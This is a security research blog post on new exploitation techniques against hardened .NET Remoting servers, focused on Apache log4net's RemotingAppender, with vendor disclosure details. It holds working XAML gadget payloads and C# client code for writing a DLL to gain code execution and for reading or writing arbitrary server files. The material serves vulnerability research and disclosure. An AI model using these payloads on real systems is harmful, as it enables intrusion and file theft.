Teaching the Old .NET Remoting New Exploitation Tricks
This blog post provides insights into three exploitation techniques that can still be used in cases of a hardened .NET Remoting server with TypeFilterLevel.Low
and Code Access Security (CAS) restrictions in place. Two of these tricks are considered novel and can help in cases where ExploitRemotingService is stuck.
Introduction
This is hopefully the last post on .NET Remoting as it has already been extensively dissected by many researchers.
Definitely worth mentioning is James Forshaw, who published the first insights and exploitable design flaws in .NET Remoting back in 2012. From then on, more and more weaknesses were made public, exploitation tools such as ExploitRemotingService and YSoSerial.Net were expanded, and there seemed to be no corner of .NET Remoting that had not already been explored.
Except for special cases that may seem rather unrealistic, but which actually occur in products and for which there is currently neither public information nor exploits.
This post is intended to change this and bring the last targets, that were previously considered unexploitable, to their knees. The final nail in the coffin for .NET Remoting.
.NET Remoting Recap
Please excuse, but we will first have to briefly go over some key technical aspects of .NET Remoting.
Client ⇄ Server
The basic .NET Remoting communication consists of the client sending a IMethodCallMessage
to the server and then the server sending a IMethodReturnMessage
in response. The message objects are serialized by the sender and deserialized by the receiver using the built-in runtime serializers, which support two formats, a binary format (BinaryFormatter
) and a textual XML-based SOAP format (SoapFormatter
).
Marshaling By Value vs. Marshaling By Reference
Transmittable object types need to be either primitive or [Serializable]
and the objects are marshaled by value. The ISerializable
interface provides classes the ability to customize their own serialization and deserialization methods.
.NET Remoting extends this default behavior as follows: any type extending MarshalByRefObject
(not necessarily [Serializable]
) can be marshaled by reference. For that, .NET Remoting uses the RemotingSurrogateSelector
and RemotingSurrogate
classes:
-
RemotingSurrogateSelector
returns anISerializationSurrogate
depending on object type, which is theRemotingSurrogate
class in case ofMarshalByRefObject
objects. -
RemotingSurrogate
allows substitution of object to be serialized, which is theObjRef
class in case ofMarshalByRefObject
objects.
So the processing of MarshalByRefObject
objects in .NET Remoting is:
-
During serialization:
MarshalByRefObject
→ObjRef
Serializing a
MarshalByRefObject
results in the object being registered for remoting and anObjRef
being serialized instead. -
During deserialization:
ObjRef
→RemotingProxy
Deserializing an
ObjRef
(regardless of .NET Remoting) results in the creation of aRemotingProxy
instance where local method invocations get forwarded to the server specified in theObjRef
.
So the actual MarshalByRefObject
object instance resides on the server side and the client gets only a remote control to that server-side object.
This behavior is used by the --uselease
and --useobjref
techniques of ExploitRemotingService. However, there are configuration cases where these will not work.
The Edge Case: Apache log4net
Yes, it’s the .NET counterpart to log4j. It provides the log4net.Appender.RemotingAppender
to deliver logging events to a .NET Remoting service.
During the analysis of log4net, three problems emerged that ExploitRemotingService could not solve. These are now elaborated in more detail in the following sections.
Problem № 1: No MarshalByRefObject Server Type
The example remoting server of log4net uses the RemoteLoggingServerPlugin
to create an instance of the RemoteLoggingSinkImpl
and marshal it for remoting:
public override void Attach(ILoggerRepository repository)
{
base.Attach(repository);
// Create the sink and marshal it
m_sink = new RemoteLoggingSinkImpl(repository);
try
{
RemotingServices.Marshal(m_sink, m_sinkUri, typeof(IRemoteLoggingSink));
}
catch (Exception ex)
{
LogLog.Error(declaringType, "Failed to Marshal remoting sink", ex);
}
}
While it is true that remotable classes need to extend MarshalByRefObject
, it is possible to explicitly marshal them as a different type. This can be used to only expose a certain interface for remoting.
The check for that is implemented in StackBuilderSink.VerifyIsOkToCallMethod(object, IMethodMessage)
that verifies that only methods of the registered server type can be called:
MethodBase mb = GetMethodBase(msg);
RuntimeType declaringType = (RuntimeType)mb.DeclaringType;
// make sure that srvType is not more restrictive than method base
// (i.e. someone marshaled with a specific type or interface exposed)
if ((declaringType != srvType) &&
!declaringType.IsAssignableFrom(srvType))
{
throw new RemotingException(
String.Format(
CultureInfo.CurrentCulture, Environment.GetResourceString("Remoting_InvalidCallingType"),
mb.DeclaringType.FullName, srvType.FullName));
}
In case of log4net, RemoteLoggingSinkImpl
is explicitly marshaled as the interface IRemoteLoggingSink
that only has one single method with return type void
:
public interface IRemoteLoggingSink
{
void LogEvents(LoggingEvent[] events);
}
That means, none of the MarshalByRefObject
methods can be called. That also means, neither --uselease
nor --useobjref
techniques of ExploitRemotingService can be used as both rely on calling MarshalByRefObject
methods:
--uselease
callsMarshalByRefObject.InitializeLifetimeService()
to retrieve anILease
instance, on which thenRegister(ISponsor)
is called with anObjRef
as argument, which in turn results in aRemotingProxy
on the server side where method invocations on thatISponsor
result in .NET Remoting calls back to the attacker.--useobjref
is basically identical to--uselease
but takes a shortcut without the detour viaMarshalByRefObject.InitializeLifetimeService()
(this method may be overridden and returnnull
) and directly callsMarshalByRefObject.CreateObjRef(Type)
with anObjRef
as argument.
Although to be honest, the basic trick of calling a remote method with an ObjRef
as argument value would work on server types other than MarshalByRefObject
as long as the following applies:
- the parameter type is not primitive, an array type, or of type
object
, and - a method on the passed argument (i.e., the
ObjRef
) is invoked.
While this works for log4net, there is another problem: it does not have an appropriate existing client channel and uses TypeFilterLevel.Low
, which renders sending ObjRef
s useless. More on this in the next sections.
Problem № 2: TypeFilterLevel.Low
Using TypeFilterLevel.Low
on the BinaryServerFormatterSink
/SoapServerFormatterSink
is a measure to restrict the allowed types during .NET Remoting to those “associated with basic remoting functionality”. This is actually default when using the default server provider chains.
For that, BinaryFormatter
/SoapFormatter
deserialization performed during .NET Remoting is subject to additional security checks and restrictions implemented in their respecive ObjectReader.CheckSecurity(ParseRecord)
method:
- if
IsRemoting == true
:MarshalByRefObject
- if
TypeFilterLevel.Low
also:DelegateSerializationHolder
IEnvoyInfo
ISponsor
ObjRef
James Forshaw has already demonstrated in Bypassing Low Type Filter in .NET Remoting back in 2019 that IsRemoting
can be spoofed by using a custom marshaler for MethodCall
during serialization, which is implemented by MethodCallWrapper
in ExploitRemotingService.
But using TypeFilterLevel.Low
also causes Code Access Security (CAS) permission restrictions being in effect during remoting message deserialization. Here is the implementation from BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack)
:
PermissionSet currentPermissionSet = null;
if (this.TypeFilterLevel != TypeFilterLevel.Full) {
currentPermissionSet = new PermissionSet(PermissionState.None);
currentPermissionSet.SetPermission(new SecurityPermission(SecurityPermissionFlag.SerializationFormatter));
}
try {
if (currentPermissionSet != null)
currentPermissionSet.PermitOnly();
// Deserialize Request - Stream to IMessage
requestMsg = CoreChannel.DeserializeBinaryRequestMessage(objectUri, requestStream, _strictBinding, this.TypeFilterLevel);
}
finally {
if (currentPermissionSet != null)
CodeAccessPermission.RevertPermitOnly();
}
You may want to read Understanding .NET Code Access Security to get a better understanding of CAS before reading on.
In brief, with Code Access Permissions, developers can check or modify the permissions code is executed with. The effective permissions are stored in corresponding call stack frame and provide the following basic security actions on classes and methods (excerpt from ECMA-334, II.22.11):
Security Action | Explanation of Behavior |
---|---|
Assert | Without further checks, satisfy Demand for the specified permission. |
Demand | Check that all callers in the call chain have been granted specified permission, throw SecurityException on failure. |
Deny | Without further checks, refuse Demand for the specified permission. |
PermitOnly | Without further checks, refuse Demand for all permissions other than those specified. |
Code Access Permissions can be interacted with in two ways:
-
declarative syntax (using attributes)
[SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.Infrastructure, Infrastructure = true)]
-
imperative syntax
var permissionSet = new PermissionSet(PermissionState.None); permissionSet.SetPermission(new SecurityPermission(SecurityPermissionFlag.SerializationFormatter)); permissionSet.PermitOnly();
Regarding the deserialization of .NET Remoting messages, the following restrictions apply due to TypeFilterLevel.Low
:
- any Demand other than
SecurityPermissionFlag.SerializationFormatter
fails - reflection on types:
- non-public types fail
[SecurityCritical]
types fail, unless called from[SecuritySafeCritical]
- reflection on constructors and methods:
- non-public fail
[SecurityCritical]
fail, unless called from[SecuritySafeCritical]
For further details, Security Considerations for Reflection is a good start.
But as you can imagine, and everything that is fun requires some kind of permission: network operations, file operations, starting processes, loading assemblies, reflection, etc.
Problem № 3: No Existing Client Channels
By default, creating a .NET Remoting channel using HttpChannel
, IpcChannel
, or TcpChannel
creates both the server channel and the client channel. But there are cases where only the former is created, i.e., HttpServerChannel
, IpcServerChannel
, or TpcServerChannel
. This sounds reasonable for a server as it is generally not expected to also act as a client.
During deserialization of an ObjRef
, there is a check for whether an appropriate client channel exists. If not, it gets created. If TypeFilterLevel.Low
and hence the CAS restrictions are in place, this causes a SecurityException
being thrown and request processing is aborted.
Wrapping It Up
So, you can probably imagine the worst case scenario:
- server object is not marshaled as
MarshalByRefObject
TypeFilterLevel.Low
in use (default)- no existing client channel sink (and due to
TypeFilterLevel.Low
no permission to create one)
This is exactly the case with Apache log4net’s RemotingAppender
.
So let’s head back to the lab and see what we can come up with.
Teaching an Old Technology New Exploitation Tricks
With the three problems in mind, let’s see if there is some light.
When implementing these tricks, we decided to use the TextFormattingRunProperties
gadget. This allows to parse any XAML code, which, with a little rethinking, offers a level of power similar to C# code. This includes creating new objects using constructors (with and without arguments), calling static methods (with and without arguments), and setting properties. Thanks to references, values can also be stored like in variables. Furthermore, ObjectDataProvider
can be used to execute any method on these objects.
CAS Bypass № 1: Calling Privileged Assert Methods
As described earlier, Assert can grant code additional permissions so that a Demand is satisfied. Several methods have security attributes with SecurityAction.Assert
or call Assert()
on a permission or permission set. If we can call such methods, we are granted these permissions.
And, in fact, there are such methods. For instance, have a look at BuildManager.CreateCachedFile(string)
:
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Security", "CA2103:ReviewImperativeSecurity",
Justification = "This is the correct Assert for the situation.")]
public static Stream ReadCachedFile(string fileName) {
new FileIOPermission(FileIOPermissionAccess.AllAccess, HttpRuntime.CodegenDirInternal).Assert();
// Get the path to the file in the User Cache folder
string path = GetUserCacheFilePath(fileName);
// If the file doesn't exist, just return null, to convey a cache miss
if (!File.Exists(path))
return null;
return File.OpenRead(path);
}
With BuildManager.GetUserCacheFilePath(string)
being:
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2208:InstantiateArgumentExceptionsCorrectly",
Justification = "Too late in the loc process to add an exception message.")]
private static string GetUserCacheFilePath(string fileName) {
string path = Path.Combine(UserCachePath, fileName);
// Make sure that the full path's directory is exactly the User Cache folder. This prevents creating files in any other folders
if (Path.GetDirectoryName(path) != UserCachePath) {
throw new ArgumentException();
}
return path;
}
Here UserCachePath
would be within the C:\Windows\Microsoft.NET\[…]\Temporary ASP.NET Files\[…]\UserCache\
directory. While path traversal is not possible, writing a UserCache.dll
or UserCache.exe
already allows to gain Remote Code Execution:
<x:Array
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:System.ComponentModel="clr-namespace:System.ComponentModel;assembly=mscorlib"
xmlns:System.Web.Compilation="clr-namespace:System.Web.Compilation;assembly=System.Web"
Type="{x:Type System:Object}"
>
<ObjectDataProvider x:Name="fileStream" ObjectType="{x:Type System.Web.Compilation:BuildManager}" MethodName="CreateCachedFile">
<ObjectDataProvider.MethodParameters>
<System:String>UserCache.dll</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider ObjectInstance="{x:Reference fileStream}" MethodName="Write">
<ObjectDataProvider.MethodParameters>
<x:Array Type="{x:Type System:Byte}"></x:Array>
<System:Int32>0</System:Int32>
<System:Int32>0</System:Int32>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider ObjectInstance="{x:Reference fileStream}" MethodName="Close" />
<System:Type x:FactoryMethod="GetType">
<x:Arguments>
<System:String>UserCache, UserCache, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null</System:String>
</x:Arguments>
</System:Type>
</x:Array>
Performing this attack against an HTTP .NET Remoting service like the web application of HttpRemotingObjRefLeak results in:
CAS Bypass № 2: Coercing the Server to Serialize a MarshalByRefObject
If we can get the server to send back any MarshalByRefObject
object of our choice, we would get an ObjRef
thanks to the RemotingSurrogateSelector
, which in turn would become a RemotingProxy
on our side.
We can achieve this in two ways:
- Send a serializable
MarshalByRefObject
by value and get the server to send that object back. - Create a
MarshalByRefObject
on the server side and get the server to send that object back.
The common problem is: getting the server to send the object back.
Sending a Serializable MarshalByRefObject By Value
Unfortunately, serializable MarshalByRefObject
types are also rare, good ones even more so:
SoundPlayer
with itsSoundLocation
property allows coercing file access
But how can we send the MarshalByRefObject
object and coerce the server to serialize it?
Conveniently, .NET Remoting already provides a feature to send data along with a remote call: the LogicalCallContext
provides a data store that can be filled by the client and is returned in the response.
So, we create a custom marshaler for SoundPlayer
so that it gets serialized by value instead of by reference, store it in the DataStore
of the LogicalCallContext
, send a dummy method call to the server:
// send payload object by value
object payload = MarshalByValueObject.Create(new SoundPlayer());
var methodReturnMessage = Utils.InvokeMethodCall(objUrl, payload);
With InvokeMethodCall
being:
public static IMethodReturnMessage InvokeMethodCall(Uri url, object logicalCallContextData)
{
var transparentProxy = RemotingServices.Connect(typeof(MarshalByRefObject), url.ToString());
var remotingProxy = RemotingServices.GetRealProxy(transparentProxy);
// create method call to `Object.ToString()`
var method = typeof(object).GetMethod("ToString", new Type[0]);
var methodArgs = new object[0];
var methodCall = Utils.CreateMethodCall(url, method, methodArgs);
// call `object.ToString()` remotely with payload in the `LogicalCallContext`
methodCall.LogicalCallContext.SetData("MBRO", logicalCallContextData);
return (IMethodReturnMessage)remotingProxy.Invoke(methodCall);
}
Then we can obtain the SoundPlayer
back from the LogicalCallContext
of the received IMethodReturn
(which is now a RemotingProxy
to the remote SoundPlayer
instance), and then call the setter of SoundLocation
on it remotely:
// obtain proxy from `LogicalCallContext` of `MethodReturnMessage`
var mbro = (MarshalByRefObject)methodReturnMessage.LogicalCallContext.GetData("MBRO");
// use remote `SoundPlayer`
var remoteSoundPlayer = (SoundPlayer)mbro;
remoteSoundPlayer.SoundLocation = filePath;
remoteSoundPlayer.Play();
Perfoming this attack against Apache log4net results in the following:
Creating a MarshalByRefObject On The Server Side
There is indeed a promising MarshalByRefObject
class that is not [Serializable]
:
WebClient
allows reading and writing of files to absolute file system locations
But how do we coerce the server to serialize it? We cannot access the current MethodCall
, cannot create a RemotingSurrogateSelector
/RemoteSurrogate
and cannot make a .NET Remoting call (CAS restrictions).
Well, we can use XAML to create an Exception
on the server, store the created WebClient
in Exception.Data
, and throw that exception using ExceptionDispatchInfo.Capture(Exception)
:
<x:Array Type="System:Object"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:System.Net="clr-namespace:System.Net;assembly=System"
xmlns:System.Runtime.ExceptionServices="clr-namespace:System.Runtime.ExceptionServices;assembly=mscorlib"
>
<!--
MarshalByRefObject marshalByRefObject = new WebClient();
-->
<System.Net:WebClient x:Name="marshalByRefObject" />
<!--
Exception exception = new Exception();
IDictionary exceptionData = exception.get_Data();
exceptionData.Add("MBRO", new object[] { marshalByRefObject });
-->
<System:Exception x:Name="exception" />
<ObjectDataProvider x:Name="exceptionData" ObjectInstance="{x:Reference exception}" MethodName="get_Data" />
<ObjectDataProvider ObjectInstance="{x:Reference exceptionData}" MethodName="Add">
<ObjectDataProvider.MethodParameters>
<System:String>MBRO</System:String>
<x:Array Type="System:Object">
<x:Reference Name="marshalByRefObject" />
</x:Array>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<!--
ExceptionDispatchInfo.Capture(exception).Throw();
-->
<ObjectDataProvider MethodName="Throw">
<ObjectDataProvider.ObjectInstance>
<System.Runtime.ExceptionServices:ExceptionDispatchInfo x:Name="exceptionDispatchInfo" x:FactoryMethod="Capture">
<x:Arguments>
<x:Reference Name="exception" />
</x:Arguments>
</System.Runtime.ExceptionServices:ExceptionDispatchInfo>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</x:Array>
(Side note: Exception.Data
is a ListDictionaryInternal
that requires the keys and values being serializable. Unfortunately, WebClient
is not serializable. But wrapping the non-serializable WebClient
in a serializable Object[]
works fine.)
Then we obtain it on the client side back from IMethodReturn.Exception
(which is now a RemotingProxy
to the remote WebClient
), and can then call any method on it remotely:
// obtain proxy from `Exception.Data`
var exception = methodReturnMessage.Exception;
while (exception.InnerException != null)
exception = exception.InnerException;
var mbro = (MarshalByRefObject)((object[])exception.Data["MBRO"])[0];
// use remote `WebClient`
var remoteWebClient = (WebClient)mbro;
Console.WriteLine(remoteWebClient.DownloadString(fileUri));
With this attack, reading (and also writing) of arbitrary files on the server is possible:
What Happened to the Three Problems?
Let’s see how we “solved” the three problems:
-
No
MarshalByRefObject
Server TypeThe new tricks do not require calling an actual method remotely as everything happens during deserialization.
-
TypeFilterLevel.Low
In EffectEven though CAS restrictions are in effect, the capabilities during deserialization are enough to create
MarshalByRefObject
objects such as aWebClient
. -
No Existing Client Channels
The new tricks do not require a client channel and no other out-of-band channel, only the existing server channel.
Vendors’ Reactions
Microsoft
We have reported both issues to Microsoft back in March 2024. Both do “not meet MSRC’s bar for immediate servicing”, either because it “[requires] exposing a remoting endpoint to untrusted clients” or because “CAS has been deprecated”.
Apache log4net
The log4net team has decided to remove RemotingAppender
support; changes are already available in the rc/3.0.0-preview.2 release. Version 3.0.0 is scheduled for release in September 2024, changes are visible in the Feature/111-Dropping-support-for-older-runtimes branch.
Conclusion
Looking back, .NET Remoting has not aged well. And even 12 years after the first vulnerabilities in this technology were discovered, there are still new discoveries regarding the exploitation of this technology.
But this is also proof that even technologies that seem to have been “already extensively studied by almost everyone” still contain hidden aspects that have apparently not yet been made public. And that it is worth getting to grips with a technology to the point where you know it inside and out. True to the motto: see one, do one, teach one.
It is often precisely this final step, teaching, that uncovers remaining gaps in knowledge and filling them leads to new insights, which in turn reveal new paths.
You can find the source code in our GitHub repository NewRemotingTricks.